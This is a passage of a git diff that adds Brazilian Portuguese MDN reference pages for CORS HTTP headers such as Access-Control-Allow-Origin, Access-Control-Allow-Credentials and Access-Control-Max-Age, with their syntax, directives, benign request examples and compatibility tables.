</tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Accept")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li><a href="/en-US/docs/Web/HTTP/Content_negotiation">Negociação de conteúdo</a> HTTP</li> + <li>Cabeçalho com o resultado da negociação de conteúdo: {{HTTPHeader("Content-Type")}}</li> + <li>Outros cabeçalhos similares: {{HTTPHeader("TE")}}, {{HTTPHeader("Accept-Encoding")}}, {{HTTPHeader("Accept-Charset")}}, {{HTTPHeader("Accept-Language")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/access-control-allow-credentials/index.html b/files/pt-br/web/http/headers/access-control-allow-credentials/index.html new file mode 100644 index 0000000000..7d5984a391 --- /dev/null +++ b/files/pt-br/web/http/headers/access-control-allow-credentials/index.html @@ -0,0 +1,101 @@ +--- +title: Access-Control-Allow-Credentials +slug: Web/HTTP/Headers/Access-Control-Allow-Credentials +tags: + - Access-Control-Allow-Credentials + - CORS + - Credenciais + - HTTP + - Reference + - cabeçalho + - credentials + - header +translation_of: Web/HTTP/Headers/Access-Control-Allow-Credentials +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de resposta <strong><code>Access-Control-Allow-Credentials</code></strong> diz aos navegadores se a resposta deve ser exposta ao código <em>frontend</em> JavaScript quando o modo de credenciais da requisição ({{domxref("Request.credentials")}}) é <code>include</code>.</p> + +<p>Quando o modo de credenciais da requisição ({{domxref("Request.credentials")}}) é <code>include</code>, navegadores vão somente expor a resposta ao código <em>frontend</em> JavaScript se o valor de <code>Access-Control-Allow-Credentials</code> for <code>true</code>.</p> + +<p>Credenciais são <em>cookies</em>, cabeçalhos de autorização ou certificados de cliente TLS.</p> + +<p>Quando usado como parte de uma resposta a uma requisição pré-vôo (<em>preflight)</em>, isso indica se a requisição atual vai ou não ser feita usando credenciais. Note que uma simples requisição {{HTTPMethod("GET")}} não é feita com pré-vôo, e se uma requisição é feita para um recurso usando credenciais, se o cabeçalho não é retornado com o recurso, a resposta é ignorada pelo navegador e não é retornada ao conteúdo web.</p> + +<p>O cabeçalho <code>Access-Control-Allow-Credentials</code> funciona em conjunto com a propriedade {{domxref("XMLHttpRequest.withCredentials")}} ou com a opção <code>credentials</code> na construtor da {{domxref("Request.Request()", "Request()")}} na Fetch API. Para requisições CORS com credenciais, para que os navegadores exponham a resposta ao código <em>frontend</em> JavaScript, ambos o servidor (usando o cabeçalho <code>Access-Control-Allow-Credentials</code>) e o cliente (colocando o modo de credenciais para o XHR, Fetch, ou requisição Ajax) devem indicar que eles estão optando por incluir as credenciais.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Access-Control-Allow-Credentials: true +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt>true</dt> + <dd>O único valor válido para este cabeçalho é <code>true</code> (case-sensitive). Se você não precisa de credenciais, omita este cabeçalho inteiramente (ao invés de colocar seu valor para <code>false</code>).</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<p>Permitindo credenciais:</p> + +<pre>Access-Control-Allow-Credentials: true</pre> + +<p>Usando <a href="/en-US/docs/Web/API/XMLHttpRequest">XHR</a> com credenciais:</p> + +<pre class="brush: js">var xhr = new XMLHttpRequest(); +xhr.open('GET', 'http://example.com/', true); +xhr.withCredentials = true; +xhr.send(null);</pre> + +<p>Usando <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a> com credenciais:</p> + +<pre class="brush: js">fetch(url, { + credentials: 'include' +})</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Status</th> + <th scope="col">Comentário</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Fetch','#http-access-control-allow-credentials', 'Access-Control-Allow-Credentials')}}</td> + <td>{{Spec2("Fetch")}}</td> + <td>Definição inicial</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Access-Control-Allow-Credentials")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{domxref("XMLHttpRequest.withCredentials")}}</li> + <li>{{domxref("Request.Request()", "Request()")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/access-control-allow-headers/index.html b/files/pt-br/web/http/headers/access-control-allow-headers/index.html new file mode 100644 index 0000000000..0cfc3726f0 --- /dev/null +++ b/files/pt-br/web/http/headers/access-control-allow-headers/index.html @@ -0,0 +1,127 @@ +--- +title: Access-Control-Allow-Headers +slug: Web/HTTP/Headers/Access-Control-Allow-Headers +tags: + - CORS + - Cabeçalho de Resposta + - HTTP + - Reference + - cabeçalho + - header +translation_of: Web/HTTP/Headers/Access-Control-Allow-Headers +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de resposta <strong><code>Access-Control-Allow-Headers</code></strong> é usado na resposta à uma {{glossary("preflight request")}} na qual incluí o cabeçalho {{HTTPHeader("Access-Control-Request-Headers")}} para indicar quais cabeçalhos HTTP podem ser utilizados durante a requisição efetiva.</p> + +<p>Este cabeçalho é obrigatório se a requisição tem um cabeçalho {{HTTPHeader("Access-Control-Request-Headers")}}.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Access-Control-Allow-Headers: <em><nome-do-cabeçalho></em>[, <em><nome-do-cabeçalho></em>]* +Access-Control-Allow-Headers: * +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><code><nome-do-cabeçalho></code></dt> + <dd>O nome de um cabeçalho suportado. O cabeçalho pode listar qualquer quantidade de cabeçalhos, desde que sejam separados por vírgula.</dd> + <dt><code>*</code> (coringa)</dt> + <dd>O valor "<code>*</code>" só conta como um valor coringa para requisições sem credenciais (requisições sem <a href="/en-US/docs/Web/HTTP/Cookies">cookies HTTP</a> ou informação de autenticação HTTP). Em requisições com credenciais, isso é tratado como o nome de cabeçalho literal "<code>*</code>" sem qualquer semântica especial. Note que o cabeçalho {{HTTPHeader("Authorization")}} não pode utilizar um coringa e sempre precisa ser listado explicitamente.</dd> +</dl> + +<p>Os cabeçalhos {{glossary("CORS-safelisted_request_header", "CORS-safelisted request headers")}}, {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Content-Language")}}, {{HTTPHeader("Content-Type")}} são sempre permitidos e não precisam ser listados por este cabeçalho necessariamente. Entretanto, note que restrições adicionais são aplicadas com estes cabeçalhos envolvidos por listar estes cabeçalhos no cabeçalho <code>Access-Control-Allow-Headers</code> também.</p> + +<h2 id="Exemplos">Exemplos</h2> + +<h3 id="Um_cabeçalho_customizado">Um cabeçalho customizado</h3> + +<p>Aqui está um exemplos de como um cabeçalho <code>Access-Control-Allow-Headers</code> pode se parecer. Isso indica que em adição aos <em>CORS-safelisted request headers</em>, um cabeçalho customizado chamado <code>X-Custom-Header</code> é suportado por requisições CORS pelo servidor.</p> + +<pre>Access-Control-Allow-Headers: X-Custom-Header</pre> + +<h3 id="Múltiplos_cabeçalhos">Múltiplos cabeçalhos</h3> + +<p>Este exemplo mostra o cabeçalho <code>Access-Control-Allow-Headers</code> quando é especificado para suportar diversos cabeçalhos.</p> + +<pre>Access-Control-Allow-Headers: X-Custom-Header, Upgrade-Insecure-Requests</pre> + +<h3 id="Burlando_restrições_adicionais">Burlando restrições adicionais</h3> + +<p>Apesar de que {{glossary("CORS-safelisted_request_header", "CORS-safelisted request headers")}} são sempre permitidos e geralmente não precisam ser listados no cabeçalho <code>Access-Control-Allow-Headers</code>, listá-los de qualquer forma irá envolver as <a href="/en-US/docs/Glossary/CORS-safelisted_request_header#Additional_restrictions">restrições adicionais</a> que são aplicadas.</p> + +<pre>Access-Control-Allow-Headers: Accept</pre> + +<h3 id="Exemplo_de_requisição_pré-vôo">Exemplo de requisição pré-vôo</h3> + +<p>Vamos dar uma olhada em um exemplo de requisição pré-vôo envolvendo o cabeçalho <code>Access-Control-Allow-Headers</code>.</p> + +<h4 id="Requisição">Requisição</h4> + +<p>Primeiro, a requisição. A requisição pré-vôo é uma requisição {{HTTPMethod("OPTIONS")}} que inclui algumas combinações de três cabeçalhos de requisições pré-vôo: {{HTTPHeader("Access-Control-Request-Method")}}, {{HTTPHeader("Access-Control-Request-Headers")}}, e {{HTTPHeader("Origin")}}, como por exemplo:</p> + +<pre>OPTIONS /resource/foo +Access-Control-Request-Method: DELETE +Access-Control-Request-Headers: origin, x-requested-with +Origin: https://foo.bar.org</pre> + +<h4 id="Resposta">Resposta</h4> + +<p>Se o servidor permite requisições CORS para usar o método {{HTTPMethod("DELETE")}}, ele responde com um cabeçalho de resposta {{HTTPHeader("Access-Control-Allow-Methods")}}, no qual lista <code>DELETE</code> junto à outros métodos suportados:</p> + +<pre>HTTP/1.1 200 OK +Content-Length: 0 +Connection: keep-alive +Access-Control-Allow-Origin: https://foo.bar.org +Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE +Access-Control-Max-Age: 86400</pre> + +<p>Se o método requisitado não é suportado, o servidor irá responder com um erro.</p> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Status</th> + <th scope="col">Comentário</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Fetch','#http-access-control-allow-headers', 'Access-Control-Allow-Headers')}}</td> + <td>{{Spec2("Fetch")}}</td> + <td>Definição inicial</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<div class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div> + +<p>{{Compat("http.headers.Access-Control-Allow-Headers")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Access-Control-Allow-Origin")}}</li> + <li>{{HTTPHeader("Access-Control-Expose-Headers")}}</li> + <li>{{HTTPHeader("Access-Control-Allow-Methods")}}</li> + <li>{{HTTPHeader("Access-Control-Request-Headers")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/access-control-allow-methods/index.html b/files/pt-br/web/http/headers/access-control-allow-methods/index.html new file mode 100644 index 0000000000..93c3945f04 --- /dev/null +++ b/files/pt-br/web/http/headers/access-control-allow-methods/index.html @@ -0,0 +1,83 @@ +--- +title: Access-Control-Allow-Methods +slug: Web/HTTP/Headers/Access-Control-Allow-Methods +tags: + - CORS + - Cabeçalho de Resposta + - HTTP + - Reference + - cabeçalho + - header +translation_of: Web/HTTP/Headers/Access-Control-Allow-Methods +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de resposta <strong><code>Access-Control-Allow-Methods</code></strong> especifica o método ou métodos permitidos quando acessando o recurso em resposta a uma {{glossary("preflight request")}}.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Access-Control-Allow-Methods: <método>, <método>, ... +Access-Control-Allow-Methods: * +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><método></dt> + <dd>Lista separada por vírgula com os <a href="/en-US/docs/Web/HTTP/Methods">métodos de requisição HTTP</a>.</dd> + <dt><code>*</code> (coringa)</dt> + <dd>O valor "<code>*</code>" só conta como valor coringa para requisições sem credenciais (requisições sem <a href="/en-US/docs/Web/HTTP/Cookies">cookies HTTP</a> ou informação de autenticação HTTP). Em requisições com credenciais, isso é tratado como o nome de método literal "<code>*</code>" sem qualquer semântica especial.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre>Access-Control-Allow-Methods: POST, GET, OPTIONS +Access-Control-Allow-Methods: * +</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Status</th> + <th scope="col">Comentário</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Fetch','#http-access-control-allow-methods', 'Access-Control-Allow-Methods')}}</td> + <td>{{Spec2("Fetch")}}</td> + <td>Definição inicial</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Access-Control-Allow-Methods")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Access-Control-Allow-Origin")}}</li> + <li>{{HTTPHeader("Access-Control-Expose-Headers")}}</li> + <li>{{HTTPHeader("Access-Control-Allow-Headers")}}</li> + <li>{{HTTPHeader("Access-Control-Request-Method")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/access-control-allow-origin/index.html b/files/pt-br/web/http/headers/access-control-allow-origin/index.html new file mode 100644 index 0000000000..c99f3bd4eb --- /dev/null +++ b/files/pt-br/web/http/headers/access-control-allow-origin/index.html @@ -0,0 +1,91 @@ +--- +title: Access-Control-Allow-Origin +slug: Web/HTTP/Headers/Access-Control-Allow-Origin +tags: + - Access-Control-Allow-Origin + - CORS + - Controle de Acesso + - HTTP + - HTTP Header + - Segurança + - header +translation_of: Web/HTTP/Headers/Access-Control-Allow-Origin +--- +<div>{{HTTPSidebar}}</div> + +<p>O <code><strong>Access-Control-Allow-Origin</strong></code> cabeçalho de resposta indica se os recursos da resposta podem ser compartilhados com a {{glossary("origin")}} dada.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>no</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Access-Control-Allow-Origin: * +Access-Control-Allow-Origin: <origin> +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><code>*</code></dt> + <dd>Para as requisições sem credenciais, o servidor pode especificar "*" como um curinga, permitindo assim que qualquer origem acesse o recurso.</dd> + <dt><code><origin></code></dt> + <dd>Especifica a URI que pode acessar o recurso.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<p>Para permitir que qualquer origin acesse o seu recurso, você pode especificar desta forma:</p> + +<pre>Access-Control-Allow-Origin: *</pre> + +<p>Para permitir que <code>https://developer.mozilla.org</code> acesse seu recurso, você pode especificar:</p> + +<pre>Access-Control-Allow-Origin: https://developer.mozilla.org</pre> + +<h3 id="CORS_e_caching">CORS e caching</h3> + +<p><span id="result_box" lang="pt"><span>Se o servidor especificar um host de origem em vez de "*", ele também deverá incluir "Origin" no cabeçalho de resposta {{HTTPHeader ("Vary")}} para indicar aos clientes que as respostas do servidor serão diferentes com base no valor da solicitação Origin</span> <span>cabeçalho.</span></span></p> + +<pre>Access-Control-Allow-Origin: https://developer.mozilla.org +Vary: Origin</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Fetch','#http-access-control-allow-origin', 'Access-Control-Allow-Origin')}}</td> + <td>{{Spec2("Fetch")}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_browser">Compatibilidade de browser</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Access-Control-Allow-Origin")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Origin")}}</li> + <li>{{HTTPHeader("Vary")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/access-control-expose-headers/index.html b/files/pt-br/web/http/headers/access-control-expose-headers/index.html new file mode 100644 index 0000000000..e192636256 --- /dev/null +++ b/files/pt-br/web/http/headers/access-control-expose-headers/index.html @@ -0,0 +1,106 @@ +--- +title: Access-Control-Expose-Headers +slug: Web/HTTP/Headers/Access-Control-Expose-Headers +tags: + - CORS + - HTTP + - Reference + - Referencia + - cabeçalho +translation_of: Web/HTTP/Headers/Access-Control-Expose-Headers +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de resposta <strong><code>Access-Control-Expose-Headers</code></strong> indica quais cabeçalhos podem ser expostos como parte da resposta listando os seus nomes.</p> + +<p>Por padrão, somente os 6 {{Glossary("CORS-safelisted response header", "CORS-safelisted response headers")}} são expostos:</p> + +<ul> + <li>{{HTTPHeader("Cache-Control")}}</li> + <li>{{HTTPHeader("Content-Language")}}</li> + <li>{{HTTPHeader("Content-Type")}}</li> + <li>{{HTTPHeader("Expires")}}</li> + <li>{{HTTPHeader("Last-Modified")}}</li> + <li>{{HTTPHeader("Pragma")}}</li> +</ul> + +<p>Se você quiser que clientes tenham acesso a outros cabeçalhos, você deve listá-los usando o cabeçalho <code>Access-Control-Expose-Headers</code>.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Access-Control-Expose-Headers: <nome-do-cabeçalho>, <nome-do-cabeçalho>, ... +Access-Control-Expose-Headers: * +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><nome-do-cabeçalho></dt> + <dd>Uma lista dos cabeçalhos expostos contendo zero ou mais <a href="/en-US/docs/Web/HTTP/Headers">nomes de cabeçalhos</a> além dos {{Glossary("CORS-safelisted_request_header", "CORS-safelisted request headers")}} que o recurso pode usar e expor.</dd> + <dt><code>*</code> (coringa)</dt> + <dd>O valor "<code>*</code>" conta somente como um valor coringa para requisições sem credenciais (requisições sem <a href="/en-US/docs/Web/HTTP/Cookies">cookies HTTP</a> ou informação de autenticação HTTP). Em requisições com credenciais, ele é tratado como o nome de cabeçalho literal "<code>*</code>" sem qualquer semântica.<br> + Note que o cabeçalho {{HTTPHeader("Authorization")}} não pode ter valor coringa e sempre precisa ser listado explicitamente.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<p>Para expor um cabeçalho de requisição não-CORS-seguro, você pode especificar:</p> + +<pre>Access-Control-Expose-Headers: Content-Length</pre> + +<p>Para expor um cabeçalho customizado adicionalmente, como <code>X-Kuma-Revision</code>, você pode adicionar múltiplos cabeçalhos separados por vírgula:</p> + +<pre>Access-Control-Expose-Headers: Content-Length, X-Kuma-Revision</pre> + +<p>Em requisições sem credênciais, você também pode usar um valor coringa:</p> + +<pre>Access-Control-Expose-Headers: *</pre> + +<p>Entretanto, isso não irá colocar um valor coringa para o cabeçalho {{HTTPHeader("Authorization")}}, então caso você precise que ele seja exposto, você precisa listá-lo explicitamente:</p> + +<pre>Access-Control-Expose-Headers: *, Authorization</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Status</th> + <th scope="col">Comentário</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('Fetch','#http-access-control-expose-headers', 'Access-Control-Expose-Headers')}}</td> + <td>{{Spec2("Fetch")}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Access-Control-Expose-Headers")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Access-Control-Allow-Headers")}}</li> + <li>{{HTTPHeader("Access-Control-Allow-Origin")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/access-control-max-age/index.html b/files/pt-br/web/http/headers/access-control-max-age/index.html new file mode 100644 index 0000000000..d2682eb848 --- /dev/null +++ b/files/pt-br/web/http/headers/access-control-max-age/index.html @@ -0,0 +1,82 @@ +--- +title: Access-Control-Max-Age +slug: Web/HTTP/Headers/Access-Control-Max-Age +tags: + - CORS + - Cabeçalho de Resposta + - Cache + - HTTP + - Reference + - Referencia + - cabeçalho +translation_of: Web/HTTP/Headers/Access-Control-Max-Age +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de resposta <strong><code>Access-Control-Max-Age</code></strong> indica por quanto tempo os resultados de uma {{glossary("preflight request")}} (que é a informação contida nos cabeçalhos {{HTTPHeader("Access-Control-Allow-Methods")}} e {{HTTPHeader("Access-Control-Allow-Headers")}}) pode ser cacheada (mantida).</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Response header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>não</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Access-Control-Max-Age: <delta-segundos> +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><delta-segundos></dt> + <dd>Número máximo de segundos que os resultados podem ser cacheados.<br> + Firefox <a href="https://dxr.mozilla.org/mozilla-central/rev/7ae377917236b7e6111146aa9fb4c073c0efc7f4/netwerk/protocol/http/nsCORSListenerProxy.cpp#1131">limita isso em 24 horas</a> (86400 segundos).<br> + Chromium (anterior à v76) <a href="https://cs.chromium.org/chromium/src/services/network/public/cpp/cors/preflight_result.cc?l=36&rcl=52002151773d8cd9ffc5f557cd7cc880fddcae3e">limita isso à 10 minutos</a> (600 segundos).<br> + Chromium (começando na v76) <a href="https://cs.chromium.org/chromium/src/services/network/public/cpp/cors/preflight_result.cc?l=31&rcl=49e7c0b4886cac1f3d09dc046bd528c9c811a0fa">limita isso à 2 horas</a> (7200 segundos).<br> + Chromium também especifica o valor padrão de 5 segundos.<br> + O valor de <strong>-1</strong> irá desabilitar o cacheamento, requerendo uma requisição de checagem pré-vôo OPTIONS para todas as chamadas.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<p>Resultados cacheados para uma requisição pré-vôo por 10 minutos:</p> + +<pre>Access-Control-Max-Age: 600 </pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Status</th> + <th scope="col">Comentários</th> + </tr> + <tr> + <td>{{SpecName('Fetch','#http-access-control-max-age', 'Access-Control-Max-Age')}}</td> + <td>{{Spec2("Fetch")}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Access-Control-Max-Age")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Access-Control-Allow-Headers")}}</li> + <li>{{HTTPHeader("Access-Control-Allow-Methods")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/access-control-request-headers/index.html b/files/pt-br/web/http/headers/access-control-request-headers/index.html new file mode 100644 index 0000000000..9bf262fb15 --- /dev/null +++ b/files/pt-br/web/http/headers/access-control-request-headers/index.html @@ -0,0 +1,66 @@ +--- +title: Access-Control-Request-Headers +slug: Web/HTTP/Headers/Access-Control-Request-Headers +translation_of: Web/HTTP/Headers/Access-Control-Request-Headers +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho da solicitação <strong><code>Access-Control-Request-Headers</code></strong> é usado ao emitir um {{glossary("preflight request")}} para permitir que o servidor saiba quais cabeçalhos HTTP serão usados quando a solicitação real for feita.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Header type</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>yes</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Access-Control-Request-Headers: <header-name>, <header-name>, ... +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><header-name></dt> + <dd>Uma lista delimitada por vírgula <a href="/en-US/docs/Web/HTTP/Headers">HTTP headers</a> incluídos na solicitação.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre>Access-Control-Request-Headers: X-PINGOTHER, Content-Type</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Fetch','#http-access-control-request-headers', 'Access-Control-Request-Headers')}}</td> + <td>{{Spec2("Fetch")}}</td> + <td>Definição inicial.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">A tabela de compatibilidade nesta página é gerada a partir de dados estruturados. Se você quiser contribuir com os dados, confira <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e envie-nos um pull request.</p> + +<p>{{Compat("http.headers.Access-Control-Request-Headers")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Access-Control-Request-Method")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/access-control-request-method/index.html b/files/pt-br/web/http/headers/access-control-request-method/index.html new file mode 100644 index 0000000000..c53d083d9b --- /dev/null +++ b/files/pt-br/web/http/headers/access-control-request-method/index.html @@ -0,0 +1,72 @@ +--- +title: Access-Control-Request-Method +slug: Web/HTTP/Headers/Access-Control-Request-Method +tags: + - CORS + - Cabeçalho de requisição + - HTTP + - Referencia + - cabeçalho +translation_of: Web/HTTP/Headers/Access-Control-Request-Method +--- +<div>{{HTTPSidebar}}</div> + +<p>O cabeçalho de requisição <strong><code>Access-Control-Request-Method</code></strong> é usado pelos navegadores quando executando uma {{glossary("preflight request")}}, para deixar o servidor sabendo quais <a href="/en-US/docs/Web/HTTP/Methods">métodos HTTP</a> vão ser usados quando a requisição verdadeira for feita. Este cabeçalho é necessário como toda requisição pré-vôo é um {{HTTPMethod("OPTIONS")}} e não usa o mesmo método na requisição verdadeira.</p> + +<table class="properties"> + <tbody> + <tr> + <th scope="row">Tipo de cabeçalho</th> + <td>{{Glossary("Request header")}}</td> + </tr> + <tr> + <th scope="row">{{Glossary("Forbidden header name")}}</th> + <td>sim</td> + </tr> + </tbody> +</table> + +<h2 id="Sintaxe">Sintaxe</h2> + +<pre class="syntaxbox">Access-Control-Request-Method: <método> +</pre> + +<h2 id="Diretivas">Diretivas</h2> + +<dl> + <dt><método></dt> + <dd>Um dos <a href="/en-US/docs/Web/HTTP/Methods">métodos de requisição HTTP</a>, por exemplo: {{HTTPMethod("GET")}}, {{HTTPMethod("POST")}} ou {{HTTPMethod("DELETE")}}.</dd> +</dl> + +<h2 id="Exemplos">Exemplos</h2> + +<pre>Access-Control-Request-Method: POST</pre> + +<h2 id="Especificações">Especificações</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Especificação</th> + <th scope="col">Status</th> + <th scope="col">Comentários</th> + </tr> + <tr> + <td>{{SpecName('Fetch','#http-access-control-request-method', 'Access-Control-Request-Method')}}</td> + <td>{{Spec2("Fetch")}}</td> + <td>Definição inicial.</td> + </tr> + </tbody> +</table> + +<h2 id="Compatibilidade_de_navegador">Compatibilidade de navegador</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("http.headers.Access-Control-Request-Method")}}</p> + +<h2 id="Veja_também">Veja também</h2> + +<ul> + <li>{{HTTPHeader("Access-Control-Request-Headers")}}</li> +</ul> diff --git a/files/pt-br/web/http/headers/age/index.html b/files/pt-br/web/http/headers/age/index.html new file mode 100644 index 0000000000..cba7252183 --- /dev/null +++ b/files/pt-br/web/http/headers/age/index.html @@ -0,0 +1,71 @@ +--- +title: Age +slug: Web/HTTP/Headers/Age +tags: + - Cabeçalhos +translation_of: 